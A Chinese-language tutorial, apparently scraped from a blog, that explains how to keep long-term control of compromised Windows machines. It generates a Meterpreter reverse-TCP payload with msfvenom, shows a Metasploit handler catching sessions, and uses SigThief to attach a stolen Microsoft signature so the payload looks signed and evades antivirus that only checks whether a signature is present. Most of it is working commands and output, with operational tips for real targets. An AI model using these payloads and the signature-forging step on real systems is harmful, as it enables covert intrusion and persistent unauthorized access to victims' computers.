伪造无效签名。长期控制傀儡机器。

简介:在实战中,尤其是需要长期控制的目标,除免杀对抗安全软件以外,还需考虑人为无 意查看恶意文件,如数字签名是否拥有。而许多安全软件,又仅仅验证是否有签名,而非验 证签名是否有效。那么针对重要的目标,需要提前做多重对抗准备。

原始payload:

1 [root@John html]# msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOS T=192.168.1.104 LPORT=53 ‐f exe >tmp_rev53x_64.exe

2 [‐] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

3 [‐] No arch selected, selecting arch: x64 from the payload

4 No encoder or badchars specified, outputting raw payload

5 Payload size: 510 bytes 6 Final size of exe file: 7168 bytes

无签名:

伪造无效签名。长期控制傀儡机器。

开启安全警告验证:

伪造无效签名。长期控制傀儡机器。

成功回连:

1 msf exploit(multi/handler) > show options

2

3 Module options (exploit/multi/handler):

4

5 Name Current Setting Required Description

6 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐

7

8

9 Payload options (windows/x64/meterpreter/reverse_tcp):

10

11 Name Current Setting Required Description

12 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐

13 EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce ss, none) 14 LHOST 192.168.1.104 yes The listen address (an interface may be speci fied)

15 LPORT 53 yes The listen port

16

17

18 Exploit target:

19

20 Id Name

21 ‐‐ ‐‐‐‐

22 0 Wildcard Target

23

24

25 msf exploit(multi/handler) > exploit

26

27 [*] Started reverse TCP handler on 192.168.1.104:53

28 [*] Sending stage (206403 bytes) to 192.168.1.101

29 [*] Meterpreter session 2 opened (192.168.1.104:53 ‐> 192.168.1.101:32 56) at 2019‐02‐19 08:02:52 ‐0500 30 31 meterpreter >

伪造无效签名。长期控制傀儡机器。

伪造无效签名payload:

1 [root@John html]# ~/SigThief/sigthief.py ‐i crashreporter.exe.ca ‐t tm p_rev53x_64.exe ‐o tmp_rev53x_64.ca.exe

2 Output file: tmp_rev53x_64.ca.exe

3 Signature appended.

4 FIN.

伪造无效签名。长期控制傀儡机器。

伪造签名:

伪造无效签名。长期控制傀儡机器。

成功回连:

1 msf exploit(multi/handler) > exploit

2

3 [*] Started reverse TCP handler on 192.168.1.104:53

4 [*] Sending stage (206403 bytes) to 192.168.1.101

5 [*] Meterpreter session 3 opened (192.168.1.104:53 ‐> 192.168.1.101:32 59) at 2019‐02‐19 08:04:11 ‐0500

6

7 meterpreter > getpid

8 Current pid: 972

伪造无效签名。长期控制傀儡机器。

靶机查看:

伪造无效签名。长期控制傀儡机器。

世界杀毒网:原始payload VS 原始payload签名伪造

无证书伪造,无免杀:

伪造无效签名。长期控制傀儡机器。

仅证书伪造,无免杀:

伪造无效签名。长期控制傀儡机器。

以上结果佐证,许多安全软件,仅仅是验证是否有数字签名,而不确认是否有效。

后者的话: 该原始python在伪造证书时,需要注意2点:

  • 原始证书文件需要对应目标机的机器版本以及位数,如目标机是Windows 2003,那么需要原始带证书文件也为Windows 2003的文件。包括第三方文件。
  • 伪造证书后,例:在Windows 2003 开启验安全验证后,双击无法运行,也无报 错,需要命令行下执行即可。

附录:sigthief.py 有需要的私信。

如果你对小编的文章有不同的看法,请留言评论。

如果你赞成小编的文章,请转发点赞。

伪造无效签名。长期控制傀儡机器。


分享到:


相關文章: